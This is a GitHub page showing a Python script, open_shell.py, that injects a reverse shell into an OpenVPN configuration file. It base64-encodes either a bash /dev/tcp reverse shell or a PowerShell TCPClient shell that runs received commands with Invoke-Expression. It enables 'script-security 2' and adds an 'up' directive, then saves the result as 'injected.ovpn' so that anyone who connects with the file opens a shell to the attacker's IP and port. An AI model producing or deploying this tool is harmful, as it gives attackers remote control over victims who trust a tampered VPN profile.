-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathopen_shell.py
More file actions
72 lines (62 loc) · 2.45 KB
/
open_shell.py
File metadata and controls
72 lines (62 loc) · 2.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import sys,os
from base64 import b64encode
print("[+] OPEN_SHELL #~")
print("[+] Gain a Reverse Shell Or Execute Command Using OpenVpn Config File")
print("[+] By 0xF55")
payload = ""
lin_payload = None
win_payload = None
try:
file = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
target_os = sys.argv[4]
except IndexError:
print("[!] Usage python path_to_.ovpn ip port os")
print("[+] Generating Payload")
if target_os == "linux":
# linux payload
lin_payload = b64encode("bash -i >& /dev/tcp/{}/{} 0>&1".format(ip,port).encode())
payload += 'up \"/bin/bash -c \'echo %s | base64 -d | bash\'\"\n' % lin_payload.decode()
elif target_os == "windows":
# powershell payload
powershell_code = (
'$LHOST = "{}"; $LPORT = {}; '
'$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); '
'$NetworkStream = $TCPClient.GetStream(); '
'$StreamReader = New-Object IO.StreamReader($NetworkStream); '
'$StreamWriter = New-Object IO.StreamWriter($NetworkStream); '
'$StreamWriter.AutoFlush = $true; '
'$Buffer = New-Object System.Byte[] 1024; '
'while ($TCPClient.Connected) {{ '
'while ($NetworkStream.DataAvailable) {{ '
'$RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); '
'$Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) '
'}}; '
'if ($TCPClient.Connected -and $Code.Length -gt 1) {{ '
'$Output = try {{ Invoke-Expression ($Code) 2>&1 }} catch {{ $_ }}; '
'$StreamWriter.Write("$Output`n"); '
'$Code = $null '
'}} '
'}}; '
'$TCPClient.Close(); '
'$NetworkStream.Close(); '
'$StreamReader.Close(); '
'$StreamWriter.Close();'
).format(ip, port)
# UTF-16LE base64
win_payload = b64encode(powershell_code.encode('utf-16le')).decode()
payload += 'up "powershell -EncodedCommand {}"'.format(win_payload)
print("[+] "+payload)
sec = "script-security 2\n"
try:
with open(file,"r") as r:
data = r.read()
path = os.path.join(os.path.dirname(file),"injected.ovpn")
print("[+] Saving To {}".format(path))
with open(path,"w") as w:
w.write(sec)
w.write(payload)
w.write(data)
except FileNotFoundError:
print("[!] File {} NotFound".format(file))